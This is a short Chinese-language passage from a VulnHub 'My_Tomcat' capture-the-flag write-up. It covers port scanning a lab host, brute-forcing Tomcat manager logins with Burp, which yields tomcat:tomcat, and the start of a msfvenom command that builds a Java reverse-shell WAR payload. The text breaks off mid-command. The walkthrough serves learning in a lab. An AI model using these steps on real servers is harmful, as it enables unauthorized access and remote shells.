vulnhub My_Tomcat

内网扫描发现目标主机 目标IP 192.168.33.139 扫描端口服务 22 ssh openssh 6.6.1 8080 是apache tomcat 登录进去 使用bp的爆破 需要设置bses64加密后进行爆破 tomcat:tomcat 使用，msfveom制作war的反弹shell msfvenom -p java/shell_reverse_tcp lhost=192.168.33.

>>阅读原文<<